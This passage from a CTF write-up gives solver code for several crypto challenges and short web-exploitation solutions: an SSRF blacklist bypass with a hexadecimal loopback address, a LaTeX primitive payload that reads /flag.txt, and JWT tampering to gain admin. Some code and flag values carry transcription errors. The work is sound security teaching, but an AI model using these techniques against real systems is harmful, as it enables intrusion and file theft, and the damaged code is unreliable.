'i': '01000',    'j': '01000',
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',
'w': '10100',    'x': '10101',
'y': '10110',    'z': '10111'}

text = [*text]
```

```

ciphertext = ""
for i,l in enumerate(flag):
    if not l.isalpha(): continue
    change = baconian[i]
    ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and
(ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operator

with open('out.txt', 'w') as e:
    e.write("".join([chr(ord(i)-13) for i in ciphertext]))

```

Basically what does the code do is encodes a hidden message from the flag.txt using the baconian cipher which each letter is converted into 5 binary strings and each 5 binary strings is compared to the text slice and changes according to the bit which 0 is lowercase while 1 is uppercase. After this, all the text is subtracted by 13 which is similar to rot 13.

Then we open the out.txt to see the cipher text.

```
BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h78b
AV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JFT7hWXbA6XhcBaTG
```

So what we need to do for now is reverse the encrypt process to decrypt the original message of the text which is the flag. So I have generated a code through the help of chatgpt to save the time and here is the code.

```

# Baconian cipher
baconian = {
    'a': '00000', 'b': '00001', 'c': '00010', 'd': '00011',
    'e': '00100', 'f': '00101', 'g': '00110', 'h': '00111',
    'i': '01000', 'j': '01000', 'k': '01001', 'l': '01010',
    'm': '01011', 'n': '01100', 'o': '01101', 'p': '01110',
    'q': '01111', 'r': '10000', 's': '10001', 't': '10010',
    'u': '10011', 'v': '10011', 'w': '10100', 'x': '10101',
    'y': '10110', 'z': '10111'
}
reverse_baconian = {v: k for k, v in baconian.items()}

# Your out.txt content
out_txt =
"BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h7
8bAV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JFT7hWXbA6XhcBaTG"

# Step 1: Reverse the ASCII -13 shift
ciphertext = ".join([chr(ord(c) + 13) for c in out_txt])

# Step 2: Read 5-char chunks and extract case as bits
decoded_flag = ""

```

```

i = 0
while i + 5 <= len(ciphertext):
    group = ciphertext[i:i+5]
    bits = ""
    for ch in group:
        if ch.isalpha():
            bits += '1' if ch.isupper() else '0'
        else:
            bits += '0' # Non-letters treated as lowercase
    if len(bits) == 5:
        decoded_flag += reverse_baconian.get(bits, '?')
    i += 5

# Format the flag
final_flag = f"tjctf{{{{decoded_flag}}}}"
print("Recovered flag:", final_flag)

```

What the code does is just add 13 to the cipher text to get the original binary strings character and I read the 5-char chunks and extract it to the binary strings. Then I compare the binary strings and get the character.

After i run the code this is the output i get : tjctf{tjctfojnkoojnkooooojnk}

Basically it just gives the obvious flag but since my implementation has caused some error to it so we manually adjust it. So we will get the flag like this tjctf{oijnkoojnkooooojnk}

But this is still not the flag because i and j are having the same binary code so i try to exchange the j inside the flag to i and eventually the flag is correct.

Here is the flag : tjctf{oinkooinkooooink}

Challenges : alchemist-recipe

crypto/alchemist-recipe

2027aliu

175 solves / 200 points

an alchemist claims to have a recipe to transform lead into gold. however, he accidentally encrypted it with a peculiar process of his own. he left behind his notes on the encryption method and an encrypted sample. unfortunately, he spilled some magic ink on the notes, making them weirdly formatted. the notes include comments showing how he encrypted his recipe. can you find his "golden" secret?

Flag (solved)

SUBMIT

Downloads

[encrypted.txt](#)

[chall.py](#)

encrypted.txt

chall.py

The question gives us two files which are encrypted.txt and chall.py. Firstly, we opened the chall.py.

```
import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8

def glorbulate_sprockets_for_bamboozle(blurbo):
    zing = []
    yarp = hashlib.sha256(blurbo.encode()).digest()
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256):
```

```

for z in glimbo:
    wob = (sploop + z) % 256
    snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
    sploop = (sploop + 1) % 256
zing['drizzle'] = snorb
return zing

def scrungle_crank(dingus, sprockets):
if len(dingus) != WUMBLE_BAG:
    raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
zonked = bytes([sprockets['drizzle'][x] for x in dingus])
quix = sprockets['twizzle']
splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
wiggle = sprockets['flibber']
waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
zort = [oof for _, oof in waggly]
plunk = [0] * WUMBLE_BAG
for y in range(WUMBLE_BAG):
    x = zort[y]
    plunk[y] = splatted[x]
return bytes(plunk)

def snizzle_bytegum(bubbles, jellybean):
fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)
if fuzz == 0:
    fuzz = WUMBLE_BAG
bubbles += bytes([fuzz] * fuzz)
glomp = b""
for b in range(0, len(bubbles), WUMBLE_BAG):
    splinter = bubbles[b:b+WUMBLE_BAG]
    zap = scrungle_crank(splinter, jellybean)
    glomp += zap
return glomp

def main():
try:
    with open("flag.txt", "rb") as f:
        flag_content = f.read().strip()
except FileNotFoundError:
    print("Error: flag.txt not found. Create it with the flag content.")
    return

if not flag_content:
    print("Error: flag.txt is empty.")
    return

print(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")

jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
encrypted_recipe = snizzle_bytegum(flag_content, jellybean)

```

```

with open("encrypted.txt", "w") as f_out:
    f_out.write(encrypted_recipe.hex())

print(f"\nEncrypted recipe written to encrypted.txt:")
print(encrypted_recipe.hex())

if __name__ == "__main__":
    main()

```

Basically what the code does is read the file called flag.txt and encrypts the content using SNEEZE_FORK as the key. The text is hashed with SHA-256 by separating the hash into parts which the first 8 bytes used for sorting, 16 bytes used as a XOR key and 256 bytes list generated with custom shuffling for substitution later.

Here is the content of the encrypted.txt

```
b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb
316e11d9a99c7e87b09e
```

So, what I do is ask the chatgpt to generate the code to save my time in writing the code. What the code does is use the SNEEZE_FORK as the key strings and reverse the encrypted process to get the original flag.txt message.

```

import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8

def glorbulate_sprockets_for_bamboozle(blurbo):
    zing = {}
    yarp = hashlib.sha256(blurbo.encode()).digest()
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256):
        for z in glimbo:
            wob = (sploop + z) % 256
            snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
            sploop = (sploop + 1) % 256
    zing['drizzle'] = snorb
    return zing

def scrungle_crank(dingus, sprockets):
    if len(dingus) != WUMBLE_BAG:

```

```

        raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
zonked = bytes([sprockets['drizzle'][x] for x in dingus])
quix = sprockets['twizzle']
splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
wiggle = sprockets['flibber']
waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
zort = [oof for _, oof in waggly]
plunk = [0] * WUMBLE_BAG
for y in range(WUMBLE_BAG):
    x = zort[y]
    plunk[y] = splatted[x]
return bytes(plunk)

# -- Decryption is reverse of scrungle_crank --
def unscrungle_crank(dingus, sprockets):
    if len(dingus) != WUMBLE_BAG:
        raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")

    wiggle = sprockets['flibber']
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]

    # Reverse the byte reordering
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        plunk[zort[y]] = dingus[y]
    splatted = bytes(plunk)

    quix = sprockets['twizzle']
    # Reverse XOR with twizzle
    zonked = bytes([splatted[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])

    # Reverse the permutation by finding inverse mapping of drizzle
    inverse_drizzle = [0] * 256
    for i, val in enumerate(sprockets['drizzle']):
        inverse_drizzle[val] = i

    # Map back using inverse permutation
    original = bytes([inverse_drizzle[b] for b in zonked])
    return original

def unsnizzle_bytegum(bubbles, jellybean):
    if len(bubbles) % WUMBLE_BAG != 0:
        raise ValueError("Encrypted data length must be multiple of block size")
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = unscrungle_crank(splinter, jellybean)
        glomp += zap

```

```
# Remove PKCS-style padding
padding_len = glomp[-1]
if padding_len < 1 or padding_len > WUMBLE_BAG:
    raise ValueError("Invalid padding encountered")
if glomp[-padding_len:] != bytes([padding_len] * padding_len):
    raise ValueError("Invalid padding bytes")
return glomp[:-padding_len]

# --- Decrypt the provided ciphertext ---

encrypted_hex =
"b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ec
b316e11d9a99c7e87b09e"
encrypted_bytes = bytes.fromhex(encrypted_hex)

jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
decrypted = unsnizzle_bytegum(encrypted_bytes, jellybean)

print("Decrypted text:", decrypted.decode(errors='ignore'))
```

After I run the code, eventually I just get the flag.

Here is the flag : tjctf{thank_you_for_making_me_normal_again_yay}

Challenges : theartofwar

crypto/theartofwar

thegreenmallard

142 solves / 254 points

"In the midst of chaos, there is also opportunity"

- Sun Tzu, *The Art of War*

Flag (solved)

SUBMIT

Downloads

[output.txt](#)

[main.py](#)

The question gives us two files which are encrypted.txt and chall.py. Firstly, we opened the main.py.

```
from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import time

flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)

e = getPrime(8)
print(f'e = {e}')

def generate_key():
    p, q = getPrime(256), getPrime(256)
    while (p - 1) % e == 0:
        p = getPrime(256)
    while (q - 1) % e == 0:
        q = getPrime(256)
    return p * q

for i in range(e):
    n = generate_key()
    c = pow(m, e, n)
    print(f'n{i} = {n}')
    print(f'c{i} = {c}'')
```

Basically, the code is about rsa encryption in which the value of e, p and q is autogenerated through the getPrime method. We can get the value of n through the multiplication of p and q while c is through the pow method in python which is `pow(m,e,n)`.

Here is the part of the content of the output.txt

```
e = 229
n0 =
41330004675093649350312354225492507219448041026351268591712873406638539051
44304279207722105302316322260373188441296903081565640870622284840397538002
237331
c0 =
39485165629012215793192420549999261003565989861315080692907496541221462581
85357479755195245759062508504409839795634616384594556630261405196176415874
727674
n1 =
10012310178440378644460341473165848881968550265291067580300168032729328228
00006134565129673730105880175216658180674484174626109724935559650384672234
7988833
c1 =
72033693629594622431707446982575239753449351467874947145807420420305593004
73546901912861737948713816740624292361174535303284449900823238173178576198
697775
n2 =
61375494404693507515281801230734073143800233035018767563899543981088334007
66700893637324005132892913089978610787963137791254684755123626349709275788
540509
c2 =
56896916915787885163117391483720152158898370287122429532866014370123253208
599110395512875379062890317002998751182176103165409165499115493568319890361
83886
```

So what I did is just write a code that can help to read the output.txt value and decrypts the RSA-encrypted data using the Hastad's Broadcast Attack.

```
from sympy.nttheory.modular import crt
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
import re

filename = "output.txt"

with open(filename, 'r') as f:
    content = f.read()

# Extract e
e = int(re.search(r"e = (\d+)", content).group(1))
```

```
# Extract all n{i} and c{i}
n_matches = re.findall(r"n\d+ = (\d+)", content)
c_matches = re.findall(r"c\d+ = (\d+)", content)

# Convert to integers
n = list(map(int, n_matches))
c = list(map(int, c_matches))

# Use CRT to get combined ciphertext
c_combined, N = crt(n, c)

# Compute integer e-th root of combined ciphertext
m_root, exact = iroot(c_combined, e)
if not exact:
    print("Warning: Root not exact, something might be off!")

# Convert to bytes (flag)
flag = long_to_bytes(m_root)
print(flag.decode(errors='ignore')) # decode flag; ignore errors if any
```

After I run the code, I just get the flag.

Here is the flag : tjctf{the_greatest_victory_is_that_which_require_no_battle}

Challenges : seeds

crypto/seeds

thegreenmallard

113 solves / 310 points

You can't grow crops without planting the seeds.

(Server is hosted in the US eastern time zone)

nc tjc.tf 31493

Flag (solved)

SUBMIT

Downloads

main.py

What the code does in main.py is to implement a custom random number generator to create pseudo-random bytes. Then, it uses these bytes to create the random AES keys. The key is then used to encrypt the secret message. What is interesting is that the question states the server is hosted in the US eastern time zone. So the AES key is generated based on the timestamp string. What I do is I try with every timestamp to decrypt the ciphertext. The ciphertext can be obtained through the nc tjc.tf 31493. Eventually the ciphertext would be different for each time you connect to the server due to the timestamp.

```
(myenv) jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/seeds$ nc tjc.tf 31493
Welcome to the AES Oracle
ciphertext =
b'I<B\x8f7\x1a\x9d\xba\xcb=Dz8\x97\xe9c\xb7\xaf\x15\x01\xf4\xd9\xd9\xc2\x83jm\x1a\xa2\xd
a\x10\xb5'
```

So after I get the cipher text, I put the cipher text into the code and run it.

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import datetime

# LCG parameters
a = 157
c = 1
```

```

m = 2**32

def lcg_next(seed):
    return (a * seed + c) % m

def generate_key(seed):
    key_bytes = b""
    for _ in range(8): # 8 * 4 bytes = 32 bytes
        seed = lcg_next(seed)
        key_bytes += seed.to_bytes(4, 'big')
    return key_bytes, seed

def try_decrypt_flag(ciphertext, seed):
    key, _ = generate_key(seed)
    cipher = AES.new(key, AES.MODE_ECB)
    try:
        plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
        return plaintext
    except:
        return None

def guess_time_seed(ciphertext, start_time, end_time, step_seconds=1):
    current = start_time
    while current <= end_time:
        # Format time asctime string
        time_str = current.strftime("%a %b %e %H:%M:%S %Y")
        seed = int.from_bytes(time_str.encode(), "big")
        plaintext = try_decrypt_flag(ciphertext, seed)
        if plaintext:
            print(f"Found candidate at {time_str}:\n{plaintext}")
            return plaintext
        current += datetime.timedelta(seconds=step_seconds)
    print("No valid seed found in range.")
    return None

# Example usage:
# Paste ciphertext from server (as bytes)
flag_ciphertext = bytes([
    0x49, 0x3c, 0x42, 0x8f, 0x37, 0x1a, 0x9d, 0xba,
    0xcb, 0x3d, 0x44, 0x7a, 0x38, 0x97, 0xe9, 0x63,
    0xb7, 0xaf, 0x15, 0x01, 0xf4, 0xd9, 0xd9, 0xc2,
    0x83, 0x6a, 0x6d, 0x1a, 0xa2, 0xda, 0x10, 0xb5
])

import pytz

# Set US Eastern timezone range (example: challenge time window)
eastern = pytz.timezone("US/Eastern")
start = datetime.datetime(2025, 6, 7, 18, 30, 0, tzinfo=eastern)
end = datetime.datetime(2025, 6, 7, 18, 45, 0, tzinfo=eastern)

```

```
guess_time_seed(flag_ciphertext, start, end)
```

After running the code, I get the flag as this : b'tjctf{h4rv3st_t1me}\n'. This is not the flag yet because some additional characters exist. So I cleaned it and eventually got the flag.

Here is the flag : tjctf{h4rv3st_t1me}

Challenges : close-secrets

crypto/close-secrets

ansh

104 solves / 329 points

I tried to make my Diffie-Hellman implementation a bit more *interesting*, but maybe I went too far?

Can you make sense of this custom cryptography and decode the encrypted flag?

Flag (solved)

SUBMIT

Downloads

[params.txt](#)

[encrypt.py](#)

[enc_flag](#)

Here is the code of the encrypt.py

```
import random
from random import randint
import sys
from Crypto.Util import number
import hashlib

def encrypt_outer(plaintext_ords, key):
    cipher = []
    key_offset = key % 256
    for val in plaintext_ords:
        if not isinstance(val, int):
            raise TypeError
        cipher.append((val + key_offset) * key)
    return cipher

def dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):
    encrypted_ords = []
    key_length = len(text_key_bytes)
    if not isinstance(plaintext_bytes, bytes):
        raise TypeError
    for i, byte_val in enumerate(plaintext_bytes[::-1]):
        key_byte = text_key_bytes[i % key_length]
        encrypted_ords.append(byte_val ^ key_byte)
    return encrypted_ords
```

```

def generate_dh_key():
    p = number.getPrime(1024)
    g = number.getPrime(1024)
    a = randint(p - 10, p)
    b = randint(g - 10, g)
    u = pow(g, a, p)
    v = pow(g, b, p)
    key = pow(v, a, p)
    b_key = pow(u, b, p)
    if key != b_key:
        sys.exit(1)
    return p, g, u, v, key

def generate_challenge_files(flag_file="flag.txt", params_out="params.txt",
                             enc_flag_out="enc_flag"):
    try:
        with open(flag_file, "r") as f:
            flag_plaintext = f.read().strip()
    except FileNotFoundError:
        sys.exit(1)
    flag_bytes = flag_plaintext.encode('utf-8')
    p, g, u, v, shared_key = generate_dh_key()
    xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
    xor_key_bytes = xor_key_str.encode('utf-8')
    intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)
    final_cipher = encrypt_outer(intermediate_ords, shared_key)
    with open(params_out, "w") as f:
        f.write(f"p = {p}\n")
        f.write(f"g = {g}\n")
        f.write(f"u = {u}\n")
        f.write(f"v = {v}\n")
    with open(enc_flag_out, "w") as f:
        f.write(str(final_cipher))

if __name__ == "__main__":
    try:
        with open("flag.txt", "x") as f:
            f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")
    except FileExistsError:
        pass
    generate_challenge_files()

```

The code implements a toy encryption scheme based on the Diffie-Hellman key exchange to generate a shared secret key. Eventually the code has two step encryption which is XOR encryption using the key derived from the DH shared secret and outer encryption that applies arithmetic using the shared key. From the other two files, we have been given the parameter and also the encrypted text. So what i do is just implement a code to decrypt it and here is the code :

```
import hashlib

# From params.txt
p =
17041431826070573358787575958177095557030901704422293708519160402445273503
259424847442476592383654021173789358443955489900677396865476909119324741285
10404739464196171789980734698681005392482463242535410600080892221372321319
34348865470429102329705344623611275490470993627132873486693712828328643742
288205112527
g =
120681139203436291164378184116247954042577742288954642499192807256993763587
66639867753005922413861447833890278509898169355733997685097490009850452959
33800638517249245579452316533416831573407822952089574890881017604345389877
11049950242033559644930710185044163047334693996198198372552023208414727714
764489712283
u =
13566877102951026390711023716955585818238914003522052552621669201954153264
46197771455862838065343280533106890739135225080044645388893679925524465783
72649985255898549272854575377510712592134690407014502401681964878932616905
735136520060908211096236619268316849967775899568661131681489146190493710890
951160724706
v =
16503678598555233755070311263057832196849525071403324379658578666283893714
86807514547835507797864269100352054838483292743288235132296053409219931076
76999077541506833174273521350152646080628330616219078232643906110969196674
275384683101159565935895506360072481873027262155137472248477311708158177572
618168100749

# From enc_flag
enc_flag =
[65719444349198572974528976734419421434849409641914400893671679146256781556
33678558745802800218365745400258663773110293972483876259742540934734499957
75216813703558077973289146608667442556393656470972387063087510093718729045
19970236570142174203251008829865655505549254027810595271167121273322846067
79997903028480,
628620772035812437147668473111837944159429135705268182461207365746803997495
395340401772441760017593038285611317427941162585414250931895219844169561176
29434354253381371358092284307320592350697575484315284295327052442661039106
05848715404903619441400844595845309226450385268839547676855078317837449963
476255070720,
190491143041155283984141961549041801260433071425838843170062838105092120453
15010315205225507879321001160170039922058823108648916694905915752853623065
94831344068284283980548251039615775525778714408615614675615971286141243609
27449961072875867255800025593813494218983345008146652959904699342964771211
014431971840,
60957165773169690874925427695693376403338582856268429814420108193629478545
00803300865672162521382720371254412775058823394767653342369893040913159381
103460301018509708737754403326770481682491886107569966961971108115651979549
67839875433202775218560081900203181500746704026069289471695037897487267875
```

2461823098880, 0,
77148912931667890013577494427361929510475393927464731483875449432562308783
525791776581163306911250054698688661684338233590028112614368958799057173417
09066943476551350121220416710443890879403793354893239436244683708872036617
56172342345147262385990103654944651586882547282993944487614032339007323404
6084494859520,
628620772035812437147668473111837944159429135705268182461207365746803997495
395340401772441760017593038285611317427941162585414250931895219844169561176
29434354253381371358092284307320592350697575484315284295327052442661039106
05848715404903619441400844595845309226450385268839547676855078317837449963
476255070720,
10381767295742962977135736904422778168693602392708216952768424676727520564
69668062178684790179422994563229267175752205859421365959872372408530522457
09418308251721493476939879681659059766154939935269550999821070435094697776
705460228784717347654411013948628354349345923029439925863148061141915800310
00286542465280,
17144202873703975558572776539413762113438976428325495885305655429458290840
78350928368470295709138890104415303592985294079778402502541532417756826075
93534820966145585558249342593565419797320084296775405320805437415752711924
83470496496558828053022002303443214479708501050733198766391422940866829408
99129887746560,
61909621488375467294846137503438585409640748213397624030270422384154939147
27378352441698290060779325377055262974669117510310897925844422619677427496
4332018682219239229367818158787512704587808218280074769575190667995904173
014212373486846568581350083179893856211695871276476622119690272864635506435
7969039084800,
78101368646873666433498204235107138516777559284593925699725763623087769385
791542292341424582305216104756697163680441174745460558449114254586699854570
38808510679965564320247829262424679655692729075324020170025482273179098798
02544840398791055748780104934635326297831714533401277135609267306155561965
1591710845440,
77148912931667890013577494427361929510475393927464731483875449432562308783
525791776581163306911250054698688661684338233590028112614368958799057173417
09066943476551350121220416710443890879403793354893239436244683708872036617
56172342345147262385990103654944651586882547282993944487614032339007323404
6084494859520,
20001570019321304818334905962649389132345472499713078532856598001034672647
58076083096548678327328705121817854191816176426408136252965121154049630421
92457291127169849817957566359159656430206765012904639540939676985044830578
97382245912651966061859002687350416892993251225855398560789993431011300977
15651535704320,
590522543427581380350840080202958390734252142010041382719479812578557340
47653197713619907442589510359652712375838235163681164175420833883384623150
44397716661168128033969957822280890412991401466670840549440951098703785518
87509487932591518849298007934082183207884836952525462417570456796319079075
41447391127040,
66671900064404349394449686542164630441151574999043595109521993336782242158
60253610321828927757762350406059513972720588088027120843217070513498768073
08190970423899499393191887863865521434022550043015465136465589950149435263
24607486375506553539530008957834722976644170752851328535966644770037669923

8550511901440,
190491143041155283984141961549041801260433071425838843170062838105092120453
15010315205225507879321001160170039922058823108648916694905915752853623065
94831344068284283980548251039615775525778714408615614675615971286141243609
27449961072875867255800025593813494218983345008146652959904699342964771211
014431971840,
82863647222902548533101753273833183548288386070239896778977334575715072397
12029487114273095927504635504673967366095588052262278762284073352491326033
68751634669703663531538489202232862353713740767747792383892947509471440970
034407330667010022562730111333088699852577550785437940375585442141896754767
9127790775040,
76196457216462113593656784619616720504173228570335537268025135242036848181
26004126082090203151728400464068015968823529243459566677962366301141449226
37932537627313713592219300415846310210311485763446245870246388514456497443
70979984429150346902320010237525397687593338003258661183961879737185908484
40577278873600,
63814532918787020134687557118929003422245078927656012461971050765205860351
80528455593750545139572535388656963373889705741397387092793481777205963727
09268500262875235133483664098271284801135869326886230916331350380857316609
10695736959413415530693008573927520563359420577729128741568074279893198355
68983471056640,
59052254342758138035084008080202958390734252142010041382719479812578557340
47653197713619907442589510359652712375838235163681164175420833883384623150
44397716661168128033969957822280890412991401466670840549440951098703785518
87509487932591518849298007934082183207884836952525462417570456796319079075
41447391127040,
80958735792490995693260333658342765535684055355981508347276706194664151192
588793839622208408487114254930722669668749998211757895953350141949627898030
28033212290208206917330066918367045984559536236616362371367877966100285339
41662334559722435837150108773707350430679216284623275079594972207600277646
8113358803200,
83816102938108324953022463081578392554590551427369090994827648766240532999
38604538690299223466901240510474817565705882167805523345758602931255594149
01725791390045084951441230457430941231342634339790870457271027365902147188
08077982872065381592552011261277937456352671803584527302358067710904499332
84635006760960,
66671900064404349394449686542164630441151574999043595109521993336782242158
60253610321828927757762350406059513972720588088027120843217070513498768073
08190970423899499393191887863865521434022550043015465136465589950149435263
24607486375506553539530008957834722976644170752851328535966644770037669923
8550511901440,
13334380012880869878889937308432926088230314999808719021904398667356448431
720507220643657855515524700812119027945441176176054241686434141026997536146
16381940847798998786383775727731042868045100086030930272931179900298870526
49214972751013107079060017915669445953288341505702657071933289540075339847
7101023802880,
63814532918787020134687557118929003422245078927656012461971050765205860351
80528455593750545139572535388656963373889705741397387092793481777205963727
09268500262875235133483664098271284801135869326886230916331350380857316609
10695736959413415530693008573927520563359420577729128741568074279893198355

```

68983471056640,
70481722925227455074132525773145466466360236427560371972923250098884084567
665538166259334379153487704292629147711617645502000991771151888285558405344
00875973052651850728028528846578369445381243311877774299779093758722601354
31564855969640708846460094697109928610238376530142615951647387568969653480
7533982958080,
79053824362079442853418914042852347523079724641723119915576077813613229988
05729280810168585769918215481470566567654411590089300428385955037434253572
36855007788337977851927524181440546843198166479575480090380628083748616097
848917338452434849111570106214326001008780881783808609783604502273303800525
7098926831360,
65719444349198572974528976734419421434849409641914400893671679146256781556
33678558745802800218365745400258663773110293972483876259742540934734499957
75216813703558077973289146608667442556393656470972387063087510093718729045
19970236570142174203251008829865655505549254027810595271167121273322846067
79997903028480,
66671900064404349394449686542164630441151574999043595109521993336782242158
60253610321828927757762350406059513972720588088027120843217070513498768073
08190970423899499393191887863865521434022550043015465136465589950149435263
24607486375506553539530008957834722976644170752851328535966644770037669923
8550511901440,
14286835728086646298810647116178135094532480356937913237754712857881909033
986257736403919130909490750870127529941544117331486687521179436814640217299
46123508051213212985411882797118316443340358064617110067119784646059327069
55874708046569004418500191953601206642375087561099897199285245072235784082
608239788800,
15239291443292422718731356923923344100834645714067107453605027048407369636
25200825216418040630345680092813603193764705848691913335592473260228289845
27586507525462742718443860083169262042062297152689249174049277702891299488
74195996885830069380464002047505079537518667600651732236792375947437181696
88115455774720]

```

```

# Step 1: Brute-force private `a` from u = g^a mod p
print("[*] Brute-forcing private exponent a...")
a = None
for guess_a in range(p - 10, p + 1):
    if pow(g, guess_a, p) == u:
        a = guess_a
        print(f"[+] Found a = {a}")
        break

if a is None:
    raise Exception("[-] Failed to recover private key 'a'.")

# Step 2: Compute shared key
shared_key = pow(v, a, p)
print(f"[+] Shared key = {shared_key}")

# Step 3: Revert the outer encryption
print("[*] Reversing outer encryption...")

```

```

key_offset = shared_key % 256
intermediate_ords = []

for c in enc_flag:
    if c == 0:
        intermediate_ords.append(0)
        continue
    if c % shared_key != 0:
        raise ValueError("Cipher value not divisible by shared key.")
    val = (c // shared_key) - key_offset
    intermediate_ords.append(val)

# Step 4: Revert dynamic XOR encryption
print("[*] Reversing dynamic XOR encryption...")
xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode("utf-8")
key_length = len(xor_key_bytes)

# Reverse dynamic XOR (remember it was reversed before encryption)
flag_bytes = bytearray(len(intermediate_ords))
for i, val in enumerate(intermediate_ords):
    key_byte = xor_key_bytes[i % key_length]
    flag_bytes[len(intermediate_ords) - 1 - i] = val ^ key_byte

# Final result
flag = flag_bytes.decode("utf-8")
print(f"\n[+] Flag: {flag}")

```

After running the code, we will get the flag.

Here is the flag : Flag: tjctf{sm4ll_r4ng3_sh0rt_s3cr3t}

WEB EXPLOITATION

Credit to TAN HONG YE Year 1 CSN Student 2024/2025

1. Web/loopy (SSRF Attempt and Filtering)

Question:



CTF Challenge Writeup: web/loopy

Category: Web Exploitation

Points: 131

Challenge Name: loopy

Description:

Can you access the admin page? Running on port 5000

Website: <http://loopy.tjc.tf:5000>

Solution:

1. First attempt: <http://127.0.0.1:5000/admin>
 - output : Access denied. URL parameter included one or more of the following banned keywords: 127, local, 0.0.0.0, ::1, ffff, 017700000001, [::], 2130706433
2. Second attempt(We used the **hexadecimal format** of the IP) :
 - 127.0.0.1 => 0x7f000001
 - <http://0x7f000001:5000/admin>
3. Found the flag: tjctf{i_l0v3_ss5sSsrF_9o4a8}

Website Preview Tool

Use this tool to get a preview of the HTML content of a website!

Your page: tjctf{i_l0v3_ss5sSsrF_9o4a8}

2. Web TeXploit

Question:

web/TeXploit

tmm

1

I made a LaTex compiler that can generate pdfs. It even prints the log file if there is an error.

The flag is located in /flag.txt.

Instancer

Solution:

1. Initial Attempts: \errmessage{\input{/flag.txt}}
 - Error: Input contains the blacklisted term 'input'.
 - The backend compiles our LaTeX snippet inside a minimal document.
 - The word input is blacklisted.
 - The log is visible, which is exploitable.
2. used lower-level LaTeX primitives to manually open and read a file
 - \newread\file
 - \openin\file=/flag.txt
 - \read\file to\line
 - \errmessage{\line}
3. Get the flag: tqctff1I3_i0_1n_I4t3x?

Your LaTeX code:

```
\newread\file
\openin\file=/flag.txt
\read\file to\line
\closein\file
\errmessage{\line}
```

Compile to PDF

Error:

LaTeX Compilation Failed.

Return Code: 1

Log Details:

```
! tqctff1I3_i0_1n_I4t3x? .
! 9 \errmessage{\line}
```

Here is how much of TeX's memory you used:
427 strings out of 481252

-->
! ==> Fatal error occurred, no output PDF file produced!

3. web/front-door

Question:

```
web/front-door
elliott&tux
```

The admin of this site is a very special person. He's so special, everyone strives to become him.

```
front-door.tjc.tf
```

Solution:

1. Random put the username and password to login
2. While inspecting the site or cookies, we discovered a **JWT (JSON Web Token)**
eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCl6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJ1c2VylwglnBhc3N3b3JkIjogInVzZXIiLCIiYWRTaW4iOiAiZmFsc2UiQ.JZOAYHBBBBNBDDQA
BXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOUFFWB

```
{
  "alg": "ADMINHASH",
  "typ": "JWT"
}
{
  "username": "user",
  "password": "user",
  "admin": "false"
}
```

3. We modified the payload to this

```
{
  "alg": "ADMINHASH",
  "typ": "JWT"
}
{
  "username": "user",
  "password": "user",
  "admin": "true"
}
```

```
}
```

Since the algorithm is a dummy (and probably not checked), we just re-encoded the header and payload using any base64 tool, and kept the old signature, or just set a dummy signature like

```
